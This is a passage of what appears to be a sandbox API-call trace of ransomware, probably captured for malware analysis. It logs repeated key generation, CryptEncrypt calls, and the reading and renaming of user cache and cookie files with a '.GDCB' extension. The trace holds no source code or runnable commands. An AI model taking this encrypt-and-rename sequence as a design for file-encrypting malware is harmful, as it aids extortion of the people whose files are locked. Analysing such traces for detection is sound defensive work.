pdwDataLen=0x285d224*=0x4) returned 1 [0186.726] CryptEncrypt (in: hKey=0x4f7fc58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ec0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5ec0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.726] GetLastError () returned 0x0 [0186.726] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.726] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.728] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f718) returned 1 [0186.728] CryptGetKeyParam (in: hKey=0x4f7f718, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.728] CryptEncrypt (in: hKey=0x4f7f718, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ed0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5ed0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.728] GetLastError () returned 0x0 [0186.728] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.728] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_idx.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.763] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.765] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.765] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.765] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.765] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.765] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.767] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.767] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.767] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.767] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.767] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.769] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80218) returned 1 [0186.770] CryptGetKeyParam (in: hKey=0x4f80218, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.770] CryptEncrypt (in: hKey=0x4f80218, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ee0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5ee0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.770] GetLastError () returned 0x0 [0186.770] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.770] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.772] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80458) returned 1 [0186.772] CryptGetKeyParam (in: hKey=0x4f80458, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.772] CryptEncrypt (in: hKey=0x4f80458, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ef0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5ef0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.772] GetLastError () returned 0x0 [0186.772] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.772] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.797] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0186.799] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.800] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.800] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0186.800] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.800] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0186.801] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.802] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.802] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0186.802] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.802] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0186.805] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80318) returned 1 [0186.805] CryptGetKeyParam (in: hKey=0x4f80318, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0186.805] CryptEncrypt (in: hKey=0x4f80318, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0186.805] GetLastError () returned 0x0 [0186.805] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.805] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0186.807] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80358) returned 1 [0186.807] CryptGetKeyParam (in: hKey=0x4f80358, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0186.807] CryptEncrypt (in: hKey=0x4f80358, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0186.807] GetLastError () returned 0x0 [0186.807] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.807] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\Low\\SmartScreenCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\low\\smartscreencache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0186.809] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0186.811] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0186.811] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x1e088, lpOverlapped=0x0) returned 1 [0186.833] VirtualAlloc (lpAddress=0x0, dwSize=0x1e090, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0186.841] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\Low\\SmartScreenCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\low\\smartscreencache.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\Low\\SmartScreenCache.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\low\\smartscreencache.dat.gdcb")) returned 0 [0186.845] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0186.846] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.847] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.847] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0186.847] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.847] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0186.848] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.849] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.849] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0186.849] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.849] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0186.851] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f800d8) returned 1 [0186.853] CryptGetKeyParam (in: hKey=0x4f800d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0186.853] CryptEncrypt (in: hKey=0x4f800d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0186.853] GetLastError () returned 0x0 [0186.853] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.853] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0186.855] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f7fe98) returned 1 [0186.855] CryptGetKeyParam (in: hKey=0x4f7fe98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0186.855] CryptEncrypt (in: hKey=0x4f7fe98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0186.856] GetLastError () returned 0x0 [0186.856] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.856] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\Low\\SuggestedSites.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\low\\suggestedsites.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0186.857] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0186.858] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0186.859] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x100000, lpOverlapped=0x0) returned 1 [0186.898] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.103] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\Low\\SuggestedSites.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\low\\suggestedsites.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\Low\\SuggestedSites.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\low\\suggestedsites.dat.gdcb")) returned 0 [0187.112] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0187.113] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.114] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.114] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0187.114] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.114] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0187.115] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.116] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.116] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0187.116] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.116] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0187.118] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80198) returned 1 [0187.118] CryptGetKeyParam (in: hKey=0x4f80198, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0187.118] CryptEncrypt (in: hKey=0x4f80198, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0187.119] GetLastError () returned 0x0 [0187.119] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.119] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0187.121] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80258) returned 1 [0187.121] CryptGetKeyParam (in: hKey=0x4f80258, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0187.121] CryptEncrypt (in: hKey=0x4f80258, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0187.121] GetLastError () returned 0x0 [0187.121] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0187.121] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\0I8MI595.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\0i8mi595.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0187.123] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.124] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.125] ReadFile (in: hFile=0x514, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d3e8*=0x167, lpOverlapped=0x0) returned 1 [0187.130] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.149] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\0I8MI595.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\0i8mi595.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\0I8MI595.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\0i8mi595.txt.gdcb")) returned 1 [0187.153] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0187.155] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.155] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.155] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0187.155] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.155] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0187.157] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.157] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.157] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0187.157] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0187.157] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0187.159] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80298) returned 1 [0187.159] CryptGetKeyParam (in: hKey=0x4f80298, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0187.159] CryptEncrypt (in: hKey=0x4f80298, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0187.160] GetLastError () returned 0x0 [0187.160] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.160] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0187.161] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f801d8) returned 1 [0187.161] CryptGetKeyParam (in: hKey=0x4f801d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0187.161] CryptEncrypt (in: hKey=0x4f801d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0187.162] GetLastError () returned 0x0 [0187.162] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.162] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\8489XH4E.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\8489xh4e.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0187.163] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0187.165] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0187.165] ReadFile (in: hFile=0x514, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d3e8*=0x69, lpOverlapped=0x0) returned 1 [0187.172] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0187.176] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\8489XH4E.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\8489xh4e.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\8489XH4E.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\8489xh4e.txt.gdcb")) returned 1 [0187.184] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0187.186] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0187.186] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0187.186] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0187.186] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0187.186] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 